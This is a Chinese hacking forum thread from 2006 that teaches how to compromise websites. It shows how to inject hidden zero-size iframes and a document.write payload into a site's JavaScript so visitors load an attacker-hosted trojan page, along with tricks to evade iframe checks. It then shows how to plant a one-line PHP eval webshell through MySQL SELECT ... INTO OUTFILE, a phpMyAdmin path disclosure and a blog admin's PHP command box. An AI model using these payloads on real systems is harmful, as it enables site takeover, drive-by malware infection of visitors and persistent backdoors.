全部评论

挂马时用的都是<iframe src=http://www.sohu.com/mm.htm width=0 height=0></iframe>这样的源码，但是浏览被挂的时候，状态栏会显示挂马的链接，在mm.htm或被挂的页面加上一句<body onload=window.status="被挂站的网址">可能会好一点点儿。

2.网站挂马的技巧（js法）
一般的办法是在一个地方写上<iframe src="muma.htm" width="0" height="0" frameborder="0"></iframe> 这样就可以访问muma的页面了

升级一下

先找找主页里面是否有JS的脚本,找到script language="javascript" src="/xxxx.js"之类就成功了,接下来把这个JS下载下来,往里面加以下代码(最好在原来的代码上,回车一行加上代码)

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://XXXXX.com/ma.htm"frameBorder=0width=0scrolling=noheight=0to ... gin="0"></IFRAME>');

以上代码中的http://XXXXX.com/ma.htm ,换成你自己的网页木马的地址.

再把修改好的JS上传覆盖原来的JS,就可以了.

哈哈...是不是很隐蔽了!

另外，这一句同样不错，用script实现的。所以对于一般别人检查iframe来判断有无被挂马是一个突破

<script>
file://window.showModelessDialog("javascript :window.open('http://2112.3322.com/mm/ray.htm' ,'k','top=3000,left=3000,width=0,height=0');

window.close();","n","scroll:0;status:0;help:0;resizable:0;dialogWidth:0px;dialogHeight:0px");
</script>

Post by amxku(218.85.2*.*) on 2006-07-18, 23:10

另类思路入侵

后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。在mysql操作里输入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路径’ 就可以获得了一个<?eval($_POST[a]);?>的最小马

'

0x3C3F6576616C28245F504F53545B615D293B3F3E 是我们<?eval($_POST[a]);?>的十六进制，这种方法对phpmyadmin比较普遍，先利用phpmyadmin的路径泄露漏洞，比较典型的是http://url/phpmyadmin/libraries/select_lang.lib.php。

就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是遇到是mysql在win系统下路径应该这样写d:\\wwwroot\\a.php。下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启动文件夹，系统重起后就会添加一个管理员帐号

CREATE TABLE a(cmd text NOT NULL)

INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')

select cmd from a into outfile '路径/b.php'

DROP TABLE IF EXISTS a

访问b.php就会生成一个<?eval($_POST[a]);?>的最小马。

如果遇到可以执行php命令就简单多了,典型的代表是BO-BLOG,在后台的php命令框输入以下代码：

<?

$sa = fopen("./up/saiy.php","w");

fwrite($sa,"<?eval(\$_POST[a]);?".">");

fclose($sa);

?>

就会在up目录下生成文件名为saiy.php内容为<?eval($_POST[a]);?>的最小php木马，

最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 将会在当前目录生成一个a.php的最小马。

Post by 4a(218.85.2*.*) on 2006-07-10, 03:59